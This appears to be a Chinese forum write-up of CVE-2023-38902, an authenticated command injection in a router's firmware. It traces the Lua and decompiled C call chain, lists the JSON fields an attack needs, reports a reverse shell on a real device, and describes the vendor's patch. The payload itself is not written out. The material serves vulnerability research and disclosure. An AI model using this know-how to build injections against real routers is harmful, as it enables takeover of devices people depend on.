首页
社区
课程
招聘
[原创]CVE-2023-38902的详细研究
发表于: 2024-2-3 14:17 16864

[原创]CVE-2023-38902的详细研究

2024-2-3 14:17
16864

这是我收获的第一个 CVE 编号,在复现了 winmt 师傅的 CVE-2023-34644 后,他告诉我最新的固件虽然做了一些简单的处理,导致无法在未授权的情况下 RCE ,但因为没有从根源上对命令执行点做限制,所以在授权后,仍然可以进行 RCE 。我对最新的固件进行了分析,完整记录了授权后的 RCE 漏洞从分析到利用的过程。从提交漏洞到现在也有半年的时间了,并且某厂商官网也已经发布了最新的固件,现将该文章分享出来,供大家进行学习和研究。

PS:本文记录的部分内容和之前发布过的复现 CVE-2023-34644 文章中的部分内容有相似之处,因为对前期的 lua 文件分析基本一致。为了保证读任何一篇单独的文章都较为通顺和连贯,因此就保留了两篇文章中相似的部分。

仿真环境搭建请参考 https://bbs.kanxue.com/thread-277386.htm#msg_header_h2_4

该文章详细记录了某厂商路由器的仿真过程

qemu 的启动脚本如下

其中的 vmlinux-3.2.0-4-4kc-malta debian_squeeze_mipsel_standard.qcow2 文件从https://people.debian.org/~aurel32/qemu/mipsel/ 进行下载

在执行 qemu 启动脚本之前,执行下面的脚本,创建一个网桥

usr/lib/lua/luci/modules/cmd.lua 文件中有如下代码,容易让初学者搞混,所以在此简单说明一下

首先是先定义了一个表 opt 里面装了字符串 add del upload 等字符串,然后又定义了四张空表 acConfig devConfig devSta devCap ,接下来是一个 for 循环来遍历 opt 表。

devSta[opt[i]] = function(params) 这行代码为例,假设现在 opt[i] 是元素 addfunction(params) 这里是声明了一个匿名函数,因为函数也是一个变量,这个变量被直接存储到了 devSta 表中,以键值的形式存在,键就是字符串 add 而值就是这个函数,之后调用这个函数的话可以直接写 devSta["add"]()

为什么特别说明这里呢?因为我在开始分析的时候,我一直以为这里是匹配到对应的键值后直接去执行函数,导致在此处执行了 doParams fetch 函数(实际上通过上面的分析也知道,这里只是定义了这些函数,并没有进行调用)

下面开始正式从入口分析 /api/cmd 的这条链,在 /usr/lib/lua/luci/controller/eweb/api.lua 文件中存在 entry({"api", "cmd"}, call("rpc_cmd"), nil) 这行代码,意味着授权后访问 /api/cmd 路径时,可以调用 rpc_cmd 函数

通过分析 rpc_cmd 函数得知 _tbl 已经包含了 cmd.lua 中所有变量的定义(上文已经分析过了),主要是 ac_config dev_config dev_sta 这三个表包含了 add del update get set clear doc 这些操作,而 devCap 表只有 get ,相关代码如下

然后来看 rpc_cmd 函数中的这行代码 ltn12.pump.all(jsonrpc.handle(_tbl, http.source()), http.write)

jsonrpc.handle 函数的参数是 _tbl ,看下 luci.utils.jsonrpc 文件中的 handle 函数,发现又将参数 tbl 传给了 resolve ,同时传入的还有报文中的 method 字段

resolve 函数主要是将 mod 表中存放键值对中的函数提取出来,假设 methoddevCap.get ,那么下面的代码最后可以将匿名函数 devCap["get"] 赋值给 mod 并返回

分析 proxy(method, json.params or {}) 发现,将刚刚解析的返回值 methodproxy 函数当做参数,这里的 method 又传入了 luci.util 文件中的 copcall 函数

copcall 函数主要是对 coxpcall 的一个封装

终于在 coxpcall 函数内部发现调用了 f

oldpcall(coroutine.create, f) 这行代码的目的是在一个新的协程中运行函数 f 。至此开始执行上面提到的匿名函数,重新回顾一下它的代码,该函数调用了 doParamsjson 数据进行解析,随后调用了 fetch 函数

这个 fetch 函数在 cmd.lua 文件中已经定义了,这里调用了 fn 也就是 fetch 函数传入进来的第一个参数

fetch 函数的第一个参数为 model.fetchmodelrequire "dev_cap.lua" 后的结果,所以在 cmd.luafetch 函数内部调用了 dev_sta.lua 文件中定义的 fetch 函数,该函数定义如下,能够看到最后是调用了 /usr/lib/lua/libuflua.so 文件中的 client_call 函数

IDA 打开 /usr/lib/lua/libuflua.so 文件,发现并没有看到有定义的 client_call 函数,不过发现了 uf_client_call 函数,猜测可能是程序内部进行了关联。shift+f12 搜索字符串发现并没有看到 client_call (如下图)

image-20230822105021327

大概率说明 IDA 没有把 client_call 解析成字符串,而是解析成了代码。我这里用 010Editor 打开该文件进行搜索字符串 client_call,成功搜索到后发现其地址位于 0xff0

图片描述

可以看到 IDA 确实是将 0xff0 位置的数据当做了代码来解析,选中这部分数据,按 a ,就能以字符串的形式呈现了

image-20230822105929868

image-20230822110053012

对字符串 client_call 进行交叉引用,发现最终调用位置如下,luaL_registerLua 中注册 C 语言编写的函数,它作用是将 C 函数添加到一个 Lua 模块中,使得这些 C 函数能够从 Lua 代码中被调用

image-20230822111240902

该函数的原型如下

这里重点关注第三个参数,这就说明 0x1101C 的位置存放的是一个字符串以及一个函数指针(如下图),因此判断出 client_call 实际就定义在了 sub_A00

image-20230822111950548

sub_A00 函数定义如下,可以看到最后是调用了 uf_client_call 函数,而在这之前的很多赋值操作如 *(_DWORD *)(v3 + 12) = lua_tolstring(a1, 4, 0); ,很容易能猜测到其实是在解析 Lua 传入的各个参数字段。在 Lua 的代码中 uf_call.client_call(ctype, cmd, module, param, back, ip, password, force, not_change_configId, multi) 这里传入了多个参数,但是 sub_A00 函数就一个参数 a1 ,结合的操作分析出这里是在解析参数

uf_client_call 函数是一个引用外部库的函数,用 grep 在整个文件系统搜索字符串 uf_client_call ,结合 /usr/lib/lua/libuflua.so 文件中引用的外部库进行分析,最终判断出 uf_client_call 函数定义在 /usr/lib/libunifyframe.so

image-20230822132450393

uf_client_call 函数首先判断了 method 的类型,然后解析出报文中各字段的值,并将其键值对添加到一个 JSON 对象中,接着将最终处理好的 JSON 对象转换为 JSON 格式的字符串,通过 uf_socket_msg_writesocket 套接字进行数据传输

既然存在 uf_socket_msg_write 进行数据发送,那么肯定就在一个地方有用 uf_socket_msg_read 函数进行数据的接收,用 grep 进行字符串搜索,发现 /usr/sbin/unifyframe-sgi.elf 文件,并且该文件还位于 /etc/init.d 目录下,这意味着该进程最初就会启动并一直存在,所以判断出这个 unifyframe-sgi.elf 文件就是用来接收 libunifyframe.so 文件所发送过来的数据

image-20230822145039327

该调用链是 winmt 师傅在 CVE-2023-34644 利用的,在 219 之前该调用链可以通杀该厂商大部分设备。下面介绍的这条调用链所出示的代码均来自某型号的 204 版本。

/usr/lib/lua/luci/controller/eweb/api.lua 文件中,配置了路由 entry({"api", "auth"}, call("rpc_auth"), nil).sysauth = false

这意味着当用户访问 /api/auth 路径时,将调用 rpc_auth 。在 luci 框架中 sysauth 属性控制是否需要进行系统级的用户认证才能访问该路由,这里的 sysauth 属性为 false ,表示无需进行系统认证即可访问。

rpc_auth 函数首先引入了一些模块,然后获取 HTTP_CONTENT_LENGTH 的长度是否大于 1000 字节,如果不大于的话会将准备 HTTP 响应的类型设置为 application/json ,下面的 handle 函数第一个参数 _tbl 传入的是 luci.modules.noauth 文件返回的内容

到了 handle 函数内部后的流程与分析最新版的步骤一样,就不再赘述,最后的结果就是能在这里触发noauth 文件中的 merge 函数(前提是报文中要设置 method 字段的值为 merge

noauth 的文件中定义了 merge 函数

merge 函数又调用了 /usr/lib/lua/luci/modules/cmd.lua 文件中的 devSta.set 函数,之后的过程又和上文中分析最新版的步骤一样,也不再重复记录

219 版本,在 noauth.lua 文件中的 merge 函数,加入了对 params 中危险字符的过滤,调用了 includeXxsincludeQuote 函数,对换行符、回车符、反引号、&$;| 等符号都做了过滤,这就意味着后续无法再进行命令注入了。而 219 版本只在这里进行了危险字符的过滤,只要从其他地方调用到诸如 dev_cap dev_sta 表中的函数依然可以进行命令注入

下面开始分析 /usr/sbin/unifyframe-sgi.elf 文件,整体流程是在 main 函数调用了三个关键函数 uf_socket_msg_read parse_content add_pkg_cmd2_task ,他们的作用分别为 接收数据 解析数据 执行命令

uf_socket_msg_read 函数将 json 数据读入到内存中,地址为 v31+1

通过 gdb 来查看读入的数据 这里只为说明 gdb 可以查看内存中读入的数据,文章前后发送的报文并不一样

json 数据的各字段进行解析在 parse_content 函数中完成,该函数首先判断了 paramsmethod 字段是否存在,然后在 method 字段不为 cmdArr 的情况下,调用 parse_obj2_cmd 函数进一步对字段进行解析

parse_obj2_cmd 函数中具体的解析了各个字段及类型并把它们记录到一个堆块中,最终返回该堆块地址,便于之后的访问。想知道 POC 的编写格式就要对此处进行逆向分析,具体分析结果已写在注释中

将这个堆块装的各种数据绘制成图片可能更直观一些(如下) xxx 代表有些保留字段,或者是一些标志位,它们在后续利用过程中并不重要,暂不详细记录

图片描述

使用 GDB 调试到此处看到的各字段信息如下

image-20230816171530830

parse_obj2_cmd 函数结束后,会执行 pkg_add_cmd(a1, v15) ,它的核心作用就是在 a1 这个数据结构中记录了 v15 的指针,使得后续操作通过 a1 访问到刚刚解析出来的各个字段。不过这 pkg_add_cmd 函数里有一个谜之操作,在这行代码中 *(_DWORD *)(a1 + 92) = a2 + 13 是把 a2 也就是 v15 的值加上了 13 存储到了 a1 中,而通过后续的分析得知,之后访问这个 v15 的堆块是通过 *(a1+92)-13 得到的地址。存的时候 +13 ,访问的时候 -13 ,这里没太理解但并不影响我们后续的分析

json 数据解析完成后,会调用 add_pkg_cmd2_task ,该函数通过访问之前解析出的各个字段,判断 method 是不是 devCap ,如果是的话可以调用后续的漏洞函数(不是 devCap 也可以触发漏洞但是调用链走的并不是我分析的这条)

uf_cmd_call 函数

remote_call 函数

最终存在命令注入的函数 sub_41A148

上述的调用链已经分析的很清楚了并且都标注在了注释中,理清楚这些后攻击报文的构造就显而易见了。下面说一下我认为有必要提及的两点

204 固件中,其实是可以从 remotePwd 字段中注入命令并执行的,而且在最新的固件中,也可以看到这里判断了 remotePwd 是否存在,如果存在的话也可以进行拼接,最终导致命令执行,相关代码如下

但在最新的固件中对 remotePwd 字段注入命令是不成功的。

因为发现在 parse_obj2_cmd 函数中对 json 数据解析时,对于 remotePwd 字段的处理是存在 Bug 的,它限制了 remotePwd 字段要为 array 类型(如下代码所示),但是前端对于 array 类型的 remotePwd 会报错。这里其实能猜测出 remotePwd 字段是 string 类型,实际上代码应该是 json_object_get_type(v37) == 6 。这就导致设置 remotePwd 类型时要么是前端报错,要么是二进制程序中判断这个类型错误,从而阴差阳错的阻止了从这里进行注入

而在 204 固件中,它的功能实现都是由 lua 语言来完成的,最终命令执行的漏洞点如下(fetch_sid 函数的参数 password 就为 remotePwd 字段),因此在该固件版本中可以从 remotePwd 字段进行注入,而之后的版本因为 Bug 的原因无法进行注入
图片描述

攻击报文如下,这些字段都是缺一不可的。而没有出现的字段都是可有可无的

下面来贴出证明这几个字段缺一不可的关键代码(其实上文的分析中都有提到,这里再汇总一下)

methodparams 不能为空,因为这里有如下检查,如果他们不存在的话会直接返回 -1

module 也必须存在,并且 module 字段是 params 中的一个值。可以看到这里解析出了params ,给到 v38。而后 module 字段是从 v38 也就是 params 中解析出来的,如果 module 字段不存在的话,会执行 return 0

而操作类型要设置为 devCap ,下面 if(v3 == 3) 才可以执行到 remote_call 函数。

操作符为 get 是因为在 Lua 文件中只有 opt[i]get 的时候才在 devCap 表中定义了字符串 get 所对应函数

这里拿在某鱼上买的真机进行测试,目标路由器某型号的版本是 217 。但搭建了 219 的仿真环境也是可以攻击成功的

首先登录路由器的管理后台

image-20240203125506225

然后用 Burp Suite 抓包,拿到 auth 的值

image-20230822171558399

/cgi-bin/luci/api/cmd 发送 POST 报文

image-20240203125607987

可以看到反弹 shell 成功,此时拿到了路由器的最高权限

image-20230822172340215

官方在 226 版本,对上述漏洞发布了补丁

新添加了一个 detect_remoteIp_invalid 函数,该函数检查了 remoteIP 字段是否为纯数字或者字符 . ,因为正常的 IP 应该为 xx.xx.xx.xx 。这相当于对命令注入的字段做了一个过滤

https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-38902

#!/bin/bash
sudo qemu-system-mipsel \
    -cpu 74Kf \
    -M malta \
    -kernel vmlinux-3.2.0-4-4kc-malta \
    -hda debian_squeeze_mipsel_standard.qcow2 \
    -append "root=/dev/sda1 console=tty0" \
    -net nic \
    -net tap,ifname=tap0,script=no,downscript=no \
    -nographic
#!/bin/bash
sudo qemu-system-mipsel \
    -cpu 74Kf \
    -M malta \
    -kernel vmlinux-3.2.0-4-4kc-malta \
    -hda debian_squeeze_mipsel_standard.qcow2 \
    -append "root=/dev/sda1 console=tty0" \
    -net nic \
    -net tap,ifname=tap0,script=no,downscript=no \
    -nographic
#!/bin/sh
#sudo ifconfig eth0 down                 # 首先关闭宿主机网卡接口
sudo brctl addbr br0                     # 添加一座名为 br0 的网桥
sudo brctl addif br0 ens33                # 在 br0 中添加一个接口
sudo brctl stp br0 off                   # 如果只有一个网桥,则关闭生成树协议
sudo brctl setfd br0 1                   # 设置 br0 的转发延迟
sudo brctl sethello br0 1                # 设置 br0 的 hello 时间
sudo ifconfig br0 0.0.0.0 promisc up     # 启用 br0 接口
sudo ifconfig ens33 0.0.0.0 promisc up    # 启用网卡接口
sudo dhclient br0                        # 从 dhcp 服务器获得 br0 的 IP 地址
sudo brctl show br0                      # 查看虚拟网桥列表
sudo brctl showstp br0                   # 查看 br0 的各接口信息
sudo tunctl -t tap0 -u root              # 创建一个 tap0 接口,只允许 root 用户访问
sudo brctl addif br0 tap0                # 在虚拟网桥中增加一个 tap0 接口
sudo ifconfig tap0 0.0.0.0 promisc up    # 启用 tap0 接口
sudo brctl showstp br0
#!/bin/sh
#sudo ifconfig eth0 down                 # 首先关闭宿主机网卡接口
sudo brctl addbr br0                     # 添加一座名为 br0 的网桥
sudo brctl addif br0 ens33                # 在 br0 中添加一个接口
sudo brctl stp br0 off                   # 如果只有一个网桥,则关闭生成树协议
sudo brctl setfd br0 1                   # 设置 br0 的转发延迟
sudo brctl sethello br0 1                # 设置 br0 的 hello 时间
sudo ifconfig br0 0.0.0.0 promisc up     # 启用 br0 接口
sudo ifconfig ens33 0.0.0.0 promisc up    # 启用网卡接口
sudo dhclient br0                        # 从 dhcp 服务器获得 br0 的 IP 地址
sudo brctl show br0                      # 查看虚拟网桥列表
sudo brctl showstp br0                   # 查看 br0 的各接口信息
sudo tunctl -t tap0 -u root              # 创建一个 tap0 接口,只允许 root 用户访问
sudo brctl addif br0 tap0                # 在虚拟网桥中增加一个 tap0 接口
sudo ifconfig tap0 0.0.0.0 promisc up    # 启用 tap0 接口
sudo brctl showstp br0
local opt = {"add", "del", "update", "get", "set", "clear", 'doc'}
acConfig, devConfig, devSta, devCap = {}, {}, {}, {}
for i = 1, #opt do
......
    devSta[opt[i]] = function(params)
        local model = require "dev_sta"
        params.method = opt[i]
        params.cfg_cmd = "dev_sta"
        local data, back, ip, password, shell = doParams(params)
        return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
    end
......   
end
local opt = {"add", "del", "update", "get", "set", "clear", 'doc'}
acConfig, devConfig, devSta, devCap = {}, {}, {}, {}
for i = 1, #opt do
......
    devSta[opt[i]] = function(params)
        local model = require "dev_sta"
        params.method = opt[i]
        params.cfg_cmd = "dev_sta"
        local data, back, ip, password, shell = doParams(params)
        return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
    end
......   
end
function hello()
        local model = require "dev_sta"
        params.method = opt[i]
        params.cfg_cmd = "dev_sta"
        local data, back, ip, password, shell = doParams(params)
        return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
end
devSta["add"] = hello --假设此时遍历到了opt表中的add元素
function hello()
        local model = require "dev_sta"
        params.method = opt[i]
        params.cfg_cmd = "dev_sta"
        local data, back, ip, password, shell = doParams(params)
        return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
end
devSta["add"] = hello --假设此时遍历到了opt表中的add元素
function rpc_cmd()
    local jsonrpc = require "luci.utils.jsonrpc"
    local http = require "luci.http"
    local ltn12 = require "luci.ltn12"
    local _tbl = require "luci.modules.cmd"
    http.prepare_content("application/json")
    ltn12.pump.all(jsonrpc.handle(_tbl, http.source()), http.write)
end
function rpc_cmd()
    local jsonrpc = require "luci.utils.jsonrpc"
    local http = require "luci.http"
    local ltn12 = require "luci.ltn12"
    local _tbl = require "luci.modules.cmd"
    http.prepare_content("application/json")
    ltn12.pump.all(jsonrpc.handle(_tbl, http.source()), http.write)
end
local opt = {"add", "del", "update", "get", "set", "clear", 'doc'}
acConfig, devConfig, devSta, devCap = {}, {}, {}, {}
 
for i = 1, #opt do
    acConfig[opt[i]] = function(params)
        local model = require "ac_config"
        params.method = opt[i]
        params.cfg_cmd = "ac_config"
        local data, back, ip, password, shell = doParams(params)
        return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
    end
 
    devConfig[opt[i]] = function(params)
        local model = require "dev_config"
        params.method = opt[i]
        params.cfg_cmd = "dev_config"
        local data, back, ip, password, shell = doParams(params)
        return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
    end
 
    devSta[opt[i]] = function(params)
        local model = require "dev_sta"
        params.method = opt[i]
        params.cfg_cmd = "dev_sta"
        local data, back, ip, password, shell = doParams(params)
        return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
    end
    if opt[i] == "get" then
        devCap[opt[i]] = function(params)
            local model = require "dev_cap"
            params.method = opt[i]
            params.cfg_cmd = "dev_cap"
            local data, back, ip, password, shell = doParams(params)
            return fetch(model.fetch, shell, params, opt[i], params.module, ip, password)
        end
    end
    if opt[i] == "doc" then
        syshell = function(params)
            local tool = require "luci.utils.tool"
            return tool.doc(params)
        end
    end
end
local opt = {"add", "del", "update", "get", "set", "clear", 'doc'}
acConfig, devConfig, devSta, devCap = {}, {}, {}, {}
 
for i = 1, #opt do
    acConfig[opt[i]] = function(params)
        local model = require "ac_config"
        params.method = opt[i]
        params.cfg_cmd = "ac_config"
        local data, back, ip, password, shell = doParams(params)
        return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
    end
 
    devConfig[opt[i]] = function(params)
        local model = require "dev_config"
        params.method = opt[i]
        params.cfg_cmd = "dev_config"
        local data, back, ip, password, shell = doParams(params)
        return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
    end
 
    devSta[opt[i]] = function(params)
        local model = require "dev_sta"
        params.method = opt[i]
        params.cfg_cmd = "dev_sta"
        local data, back, ip, password, shell = doParams(params)
        return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
    end
    if opt[i] == "get" then
        devCap[opt[i]] = function(params)
            local model = require "dev_cap"
            params.method = opt[i]
            params.cfg_cmd = "dev_cap"
            local data, back, ip, password, shell = doParams(params)
            return fetch(model.fetch, shell, params, opt[i], params.module, ip, password)
        end
    end
    if opt[i] == "doc" then
        syshell = function(params)
            local tool = require "luci.utils.tool"
            return tool.doc(params)
        end
    end
end
function handle(tbl, rawsource, ...)
......
    if stat then
        if type(json.method) == "string" then
            local method = resolve(tbl, json.method)
            if method then
                response = reply(json.jsonrpc, json.id, proxy(method, json.params or {}))
......
end
function handle(tbl, rawsource, ...)
......
    if stat then
        if type(json.method) == "string" then
            local method = resolve(tbl, json.method)
            if method then
                response = reply(json.jsonrpc, json.id, proxy(method, json.params or {}))
......
end
function resolve(mod, method)
    local path = luci.util.split(method, ".")
    for j = 1, #path - 1 do
        if not type(mod) == "table" then
            break
        end
        mod = rawget(mod, path[j])
        if not mod then
            break
        end
    end
    mod = type(mod) == "table" and rawget(mod, path[#path]) or nil
    if type(mod) == "function" then
        return mod
    end
end
function resolve(mod, method)
    local path = luci.util.split(method, ".")
    for j = 1, #path - 1 do
        if not type(mod) == "table" then
            break
        end
        mod = rawget(mod, path[j])
        if not mod then
            break
        end
    end
    mod = type(mod) == "table" and rawget(mod, path[#path]) or nil
    if type(mod) == "function" then
        return mod
    end
end
function proxy(method, ...)
    local tool = require "luci.utils.tool"
    local res = {luci.util.copcall(method, ...)}
......
end
function proxy(method, ...)
    local tool = require "luci.utils.tool"
    local res = {luci.util.copcall(method, ...)}
......
end
function copcall(f, ...)
    return coxpcall(f, copcall_id, ...)
end
function copcall(f, ...)
    return coxpcall(f, copcall_id, ...)
end
function coxpcall(f, err, ...)
    local res, co = oldpcall(coroutine.create, f)
......
end
function coxpcall(f, err, ...)
    local res, co = oldpcall(coroutine.create, f)
......
end
devSta[opt[i]] = function(params)
    local model = require "dev_sta"
    params.method = opt[i]
    params.cfg_cmd = "dev_sta"
    local data, back, ip, password, shell = doParams(params)
    return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
devSta[opt[i]] = function(params)
    local model = require "dev_sta"
    params.method = opt[i]
    params.cfg_cmd = "dev_sta"
    local data, back, ip, password, shell = doParams(params)
    return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
local function fetch(fn, shell, params, ...)
    require "luci.json"
    local tool = require "luci.utils.tool"
    local _start = os.time()
    local _res = fn(...)
......
end
local function fetch(fn, shell, params, ...)
    require "luci.json"
    local tool = require "luci.utils.tool"
    local _start = os.time()
    local _res = fn(...)
......
end
function fetch(cmd, module, param, back, ip, password, force, not_change_configId, multi)
    local uf_call = require "libuflua"
......
    local stat = uf_call.client_call(ctype, cmd, module, param, back, ip, password, force, not_change_configId, multi)
    return stat
end
function fetch(cmd, module, param, back, ip, password, force, not_change_configId, multi)
    local uf_call = require "libuflua"
......
    local stat = uf_call.client_call(ctype, cmd, module, param, back, ip, password, force, not_change_configId, multi)
    return stat
end
void luaL_register (lua_State *L, const char *libname, const luaL_Reg *l);
void luaL_register (lua_State *L, const char *libname, const luaL_Reg *l);
int __fastcall sub_A00(int a1)
{
  v13[0] = 0;
  v2 = malloc(52);
  v3 = v2;
  if ( v2 )
  {
    memset(v2, 0, 52);
    v5 = 4;
    *(_DWORD *)v3 = luaL_checkinteger(a1, 1);
    *(_DWORD *)(v3 + 4) = luaL_checklstring(a1, 2, 0);
    v6 = luaL_checklstring(a1, 3, 0);
    v7 = *(_DWORD *)v3;
    *(_DWORD *)(v3 + 8) = v6;
    if ( v7 != 3 )
    {
      *(_DWORD *)(v3 + 12) = lua_tolstring(a1, 4, 0);
      *(_BYTE *)(v3 + 41) = lua_toboolean(a1, 5) == 1;
      v5 = 6;
      *(_BYTE *)(v3 + 40) = 1;
    }
    *(_DWORD *)(v3 + 20) = lua_tolstring(a1, v5, 0);
    *(_DWORD *)(v3 + 24) = lua_tolstring(a1, v5 + 1, 0);
    v8 = v5 + 2;
    if ( *(_DWORD *)v3 )
    {
      if ( *(_DWORD *)v3 == 2 )
      {
        v8 = v5 + 3;
        *(_BYTE *)(v3 + 43) = lua_toboolean(a1, v5 + 2) == 1;
      }
    }
    else
    {
      *(_BYTE *)(v3 + 43) = lua_toboolean(a1, v5 + 2) == 1;
      v8 = v5 + 4;
      *(_BYTE *)(v3 + 44) = lua_toboolean(a1, v5 + 3) == 1;
    }
    *(_BYTE *)(v3 + 48) = lua_toboolean(a1, v8) == 1;
    v4 = uf_client_call(v3, v13, 0);
  }
......   
int __fastcall sub_A00(int a1)
{
  v13[0] = 0;
  v2 = malloc(52);
  v3 = v2;
  if ( v2 )
  {
    memset(v2, 0, 52);
    v5 = 4;
    *(_DWORD *)v3 = luaL_checkinteger(a1, 1);
    *(_DWORD *)(v3 + 4) = luaL_checklstring(a1, 2, 0);
    v6 = luaL_checklstring(a1, 3, 0);
    v7 = *(_DWORD *)v3;
    *(_DWORD *)(v3 + 8) = v6;
    if ( v7 != 3 )
    {
      *(_DWORD *)(v3 + 12) = lua_tolstring(a1, 4, 0);
      *(_BYTE *)(v3 + 41) = lua_toboolean(a1, 5) == 1;
      v5 = 6;
      *(_BYTE *)(v3 + 40) = 1;
    }
    *(_DWORD *)(v3 + 20) = lua_tolstring(a1, v5, 0);
    *(_DWORD *)(v3 + 24) = lua_tolstring(a1, v5 + 1, 0);
    v8 = v5 + 2;
    if ( *(_DWORD *)v3 )
    {
      if ( *(_DWORD *)v3 == 2 )
      {
        v8 = v5 + 3;
        *(_BYTE *)(v3 + 43) = lua_toboolean(a1, v5 + 2) == 1;
      }
    }
    else
    {
      *(_BYTE *)(v3 + 43) = lua_toboolean(a1, v5 + 2) == 1;
      v8 = v5 + 4;
      *(_BYTE *)(v3 + 44) = lua_toboolean(a1, v5 + 3) == 1;
    }
    *(_BYTE *)(v3 + 48) = lua_toboolean(a1, v8) == 1;
    v4 = uf_client_call(v3, v13, 0);
  }
......   
int __fastcall uf_client_call(_DWORD *a1, int a2, int *a3)
{
......
  v5 = json_object_new_object();
......
  switch ( *a1 )//这里的*a1指的就是uf_call.client_call函数的第一个参数ctype,他取决于method它在dev_sta.lua文件中被赋值为了2
  {
    case 0:
      v15 = ((int (*)(void))strlen)() + 10;
......
      v13 = "acConfig.%s";
      goto LABEL_22;
    case 1:
      v14 = ((int (*)(void))strlen)() + 11;
......
      v13 = "devConfig.%s";
      goto LABEL_22;
    case 2:
      v8 = ((int (*)(void))strlen)() + 8;
......
      v13 = "devSta.%s";
      goto LABEL_22;
    case 3:
      v16 = ((int (*)(void))strlen)() + 8;
......
      v13 = "devCap.%s";
      goto LABEL_22;
    case 4:
      v17 = ((int (*)(void))strlen)() + 7;
......
LABEL_22://接下来使用了大量的json_object_object_add函数,该函数的作用是在已有的JSON对象中添加一个键值对,以json_object_object_add(v20, "remoteIp", v23)函数为例,作用是将{"remote",v23}这个键值对添加到v20所指的JSON对象中,
      json_object_object_add(v5, "method", v19);
      v20 = json_object_new_object();
......
      v21 = json_object_new_string(a1[2]);
      json_object_object_add(v20, "module", v21);
      v22 = a1[5];
      if ( !v22 )
        goto LABEL_35;
      json_object_object_add(v20, "remoteIp", v23);
LABEL_35:
      v25 = a1[6];
      if ( v25 )
      {
        v26 = json_object_new_string(v25);
......
        json_object_object_add(v20, "remotePwd", v26);
      }
      if ( a1[9] )
      {
......
        json_object_object_add(v20, "buf", v27);
      }
      if ( *a1 )
      {
        if ( *a1 != 2 )
        {
          v28 = *((unsigned __int8 *)a1 + 45);
          goto LABEL_58;
        }
        if ( *((_BYTE *)a1 + 42) )
        {
          v30 = json_object_new_boolean(1);
          if ( v30 )
          {
            v31 = v20;
            v32 = "execute";
            goto LABEL_56;
          }
        }
      }
      else
      {
        if ( *((_BYTE *)a1 + 43) )
        {
          v29 = json_object_new_boolean(1);
          if ( v29 )
            json_object_object_add(v20, "force", v29);
        }
        if ( *((_BYTE *)a1 + 44) )
        {
          v30 = json_object_new_boolean(1);
          if ( v30 )
          {
            v31 = v20;
            v32 = "configId_not_change";
LABEL_56:
            json_object_object_add(v31, v32, v30);
            goto LABEL_57;
          }
        }
      }
LABEL_57:
      v28 = *((unsigned __int8 *)a1 + 45);
LABEL_58:
      if ( v28 )
      {
        v33 = json_object_new_boolean(1);
        if ( v33 )
          json_object_object_add(v20, "from_url", v33);
      }
      if ( *((_BYTE *)a1 + 47) )
      {
        v34 = json_object_new_boolean(1);
        if ( v34 )
          json_object_object_add(v20, "from_file", v34);
      }
      if ( *((_BYTE *)a1 + 48) )
      {
        v35 = json_object_new_boolean(1);
        if ( v35 )
          json_object_object_add(v20, "multi", v35);
      }
      if ( *((_BYTE *)a1 + 46) )
      {
        v36 = json_object_new_boolean(1);
        if ( v36 )
          json_object_object_add(v20, "not_commit", v36);
      }
      if ( *((_BYTE *)a1 + 40) )
      {
        v37 = json_object_new_boolean(*((unsigned __int8 *)a1 + 41) ^ 1);
        if ( v37 )
          json_object_object_add(v20, "async", v37);
      }
      v38 = (_BYTE *)a1[3];
      if ( !v38 || !*v38 )
        goto LABEL_78;
      v39 = json_object_new_string(v38);
      json_object_object_add(v20, "data", v39);
LABEL_78:
      v41 = (_BYTE *)a1[4];
      if ( v41 && *v41 )
      {
        v42 = json_object_new_string(v41);
        if ( !v42 )
        {
          json_object_put(v20);
          json_object_put(v5);
          v40 = 630;
          goto LABEL_82;
        }
        json_object_object_add(v20, "device", v42);
      }
      json_object_object_add(v5, "params", v20);//将上面的v20当做了params的值,向v5中添加新的键值对
      v43 = json_object_to_json_string(v5);//json_object_to_json_string作用是将JSON对象转换为JSON格式的字符串
......
      v44 = uf_socket_client_init(0);
......
      v50 = strlen(v43);
      uf_socket_msg_write(v44, v43, v50);//最终调用uf_socket_msg_write,用socket实现了进程间通信,将解析好的json数据发送给其他进程进行处理
......
int __fastcall uf_client_call(_DWORD *a1, int a2, int *a3)
{
......
  v5 = json_object_new_object();
......
  switch ( *a1 )//这里的*a1指的就是uf_call.client_call函数的第一个参数ctype,他取决于method它在dev_sta.lua文件中被赋值为了2
  {
    case 0:
      v15 = ((int (*)(void))strlen)() + 10;
......
      v13 = "acConfig.%s";
      goto LABEL_22;
    case 1:
      v14 = ((int (*)(void))strlen)() + 11;
......
      v13 = "devConfig.%s";
      goto LABEL_22;
    case 2:
      v8 = ((int (*)(void))strlen)() + 8;
......
      v13 = "devSta.%s";
      goto LABEL_22;
    case 3:
      v16 = ((int (*)(void))strlen)() + 8;
......
      v13 = "devCap.%s";
      goto LABEL_22;
    case 4:
      v17 = ((int (*)(void))strlen)() + 7;
......
LABEL_22://接下来使用了大量的json_object_object_add函数,该函数的作用是在已有的JSON对象中添加一个键值对,以json_object_object_add(v20, "remoteIp", v23)函数为例,作用是将{"remote",v23}这个键值对添加到v20所指的JSON对象中,
      json_object_object_add(v5, "method", v19);
      v20 = json_object_new_object();
......
      v21 = json_object_new_string(a1[2]);
      json_object_object_add(v20, "module", v21);
      v22 = a1[5];
      if ( !v22 )
        goto LABEL_35;
      json_object_object_add(v20, "remoteIp", v23);
LABEL_35:
      v25 = a1[6];
      if ( v25 )
      {
        v26 = json_object_new_string(v25);
......
        json_object_object_add(v20, "remotePwd", v26);
      }
      if ( a1[9] )
      {
......
        json_object_object_add(v20, "buf", v27);
      }
      if ( *a1 )
      {
        if ( *a1 != 2 )
        {
          v28 = *((unsigned __int8 *)a1 + 45);
          goto LABEL_58;
        }
        if ( *((_BYTE *)a1 + 42) )
        {
          v30 = json_object_new_boolean(1);
          if ( v30 )
          {
            v31 = v20;
            v32 = "execute";
